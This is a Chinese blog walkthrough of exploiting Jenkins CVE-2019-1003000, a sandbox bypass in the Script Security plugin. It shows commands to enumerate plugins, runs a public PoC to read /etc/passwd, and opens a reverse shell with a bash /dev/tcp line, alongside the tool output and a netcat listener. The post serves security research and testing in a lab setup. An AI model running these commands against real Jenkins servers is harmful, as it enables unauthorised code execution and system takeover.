Jenkins漏洞利用深入解析:CVE-2019-1003000 RCE攻击实战

本文详细分析了Jenkins插件漏洞CVE-2019-1003000的利用过程,包括插件版本枚举、权限要求、PoC执行步骤及反向Shell获取,为安全研究人员提供实战参考。

Jenkins - 漏洞利用深入解析第二部分:CVE-2019-1003000

在Orange Tsai发布Jenkins漏洞利用后,我进行了一些探索。针对Jenkins的预认证远程代码执行(PreAuth RCE)是许多人追求的目标。

虽然与博客文章和推文不完全相关,但在搜索过程中发现了以下漏洞利用。重要的是,我发现了与最新一轮Jenkins漏洞相关的插件版本。坦白说,过去我从未过多关注插件,因为问题通常出现在Jenkins核心(如第一篇博客文章所述),但您可以通过访问jenkins-server/pluginManager/installed查看插件。

Jenkins插件管理器

查看插件需要管理员权限,否则您会看到:

如果您有权限,还可以使用jenkins-cli客户端获取信息:

1
$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

输出示例(部分插件列表):

1
2
3
4
jsch                           JSch dependency plugin                           0.1.55
structs                        Structs Plugin                                   1.17
script-security                Script Security Plugin                          1.49 (1.53)
...

据我所知,如果没有(提升的)身份验证,您无法像WordPress那样枚举已安装的插件及其版本。如果您知道方法,请告诉我。目前,我认为只能尝试各种方法来看哪些有效。

正如我所提到的,最新的特定漏洞是已安装Jenkins插件的问题。查看CVE-2019-1003000(https://nvd.nist.gov/vuln/detail/CVE-2019-1003000),我们可以看到它影响脚本安全插件(nist.gov说2.49,但这是打字错误,应为1.49),如Jenkins公告所述:https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

此问题的漏洞利用存在并可在此处获取:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc,甚至附带一个Docker配置以启动易受攻击的版本进行测试。此特定漏洞利用的重要之处在于它是后认证的,但不需要脚本权限,只需要总体/读取权限和作业/配置权限。

我看到越来越多的服务器/管理员(理所当然地)阻止访问脚本和scriptText控制台,因为众所周知这是立即的RCE。

在Pipeline: Declarative Plugin版本1.3.4.1之前、Pipeline: Groovy Plugin版本2.61.1之前和Script Security Plugin版本1.50之前发现了一个缺陷。

此PoC使用具有总体/读取和作业/配置权限的用户在沙盒模式下执行恶意修改的构建脚本,并尝试绕过沙盒模式限制以运行任意脚本(在本例中,我们将执行系统命令)。

作为背景,Jenkins的流水线构建脚本是用Groovy编写的。此构建脚本将在Jenkins主节点或节点上编译和执行,包含流水线的定义,例如在从节点中要执行的操作。Jenkins还提供在沙盒模式下执行的脚本。在沙盒模式下,所有危险功能都被列入黑名单,因此普通用户无法对Jenkins服务器进行任何恶意操作。

运行漏洞利用:

1
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

输出示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

您当然也可以从中获取反向Shell:

1
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"

输出示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY

并且您会得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
nc -l 4444 -vv

bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins

bash-4.4$

简而言之,如果安装了旧版本的脚本安全插件,并且您具有总体/读取权限和作业/配置权限(普通Jenkins用户更可能拥有这些权限),您可以使用此漏洞利用获取Shell,并且此漏洞利用不需要使用脚本控制台。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计